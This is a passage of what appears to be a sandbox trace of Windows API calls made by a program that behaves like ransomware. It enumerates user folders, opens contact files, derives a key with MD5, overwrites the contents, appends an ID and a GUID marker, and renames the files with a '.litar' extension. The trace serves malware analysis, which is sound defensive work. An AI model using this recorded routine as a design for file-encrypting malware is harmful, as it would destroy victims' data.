HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082f90 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082fb8 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083468 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083490 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30834b8 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30834e0 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083508 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083530 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083558 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083580 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f78 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fb0 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0124.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.991] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0124.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.992] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.993] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.993] PathFindFileNameW (pszPath="") returned="" [0124.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.993] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.993] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64011df0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x64011df0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0124.993] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0124.993] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527f0fb0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527f0fb0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0124.993] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527f0fb0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527f0fb0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0124.993] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0124.993] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.993] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0124.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.993] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.993] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.993] PathFindFileNameW (pszPath="") returned="" [0124.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527f0fb0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527f0fb0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0124.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0124.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.994] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.994] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.994] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0124.994] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.994] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.994] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.994] PathFindFileNameW (pszPath="") returned="" [0124.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.994] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.994] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0124.994] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0124.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0124.995] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=1178) returned 1 [0124.995] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0124.997] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.997] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0124.999] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x49a, lpOverlapped=0x0) returned 1 [0124.999] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0124.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0124.999] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0124.999] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0124.999] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.000] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.000] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.000] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.000] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.000] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.000] GetLastError () returned 0x0 [0125.000] SetLastError (dwErrCode=0x0) [0125.000] GetLastError () returned 0x0 [0125.000] SetLastError (dwErrCode=0x0) [0125.000] GetLastError () returned 0x0 [0125.000] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.001] GetLastError () returned 0x0 [0125.001] SetLastError (dwErrCode=0x0) [0125.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.002] SetLastError (dwErrCode=0x0) [0125.002] GetLastError () returned 0x0 [0125.003] SetLastError (dwErrCode=0x0) [0125.003] GetLastError () returned 0x0 [0125.003] SetLastError (dwErrCode=0x0) [0125.003] GetLastError () returned 0x0 [0125.003] SetLastError (dwErrCode=0x0) [0125.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.003] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.003] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4a0) returned 0x3055af0 [0125.003] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.003] WriteFile (in: hFile=0x624, lpBuffer=0x3055af0*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x3055af0*, lpNumberOfBytesWritten=0x398fb24*=0x495, lpOverlapped=0x0) returned 1 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.003] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.003] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.004] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.004] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.004] CloseHandle (hObject=0x624) returned 1 [0125.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.005] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.litar")) returned 1 [0125.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.005] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.006] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0125.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.006] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0125.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.007] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=68382) returned 1 [0125.007] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.008] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.008] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.010] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.010] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 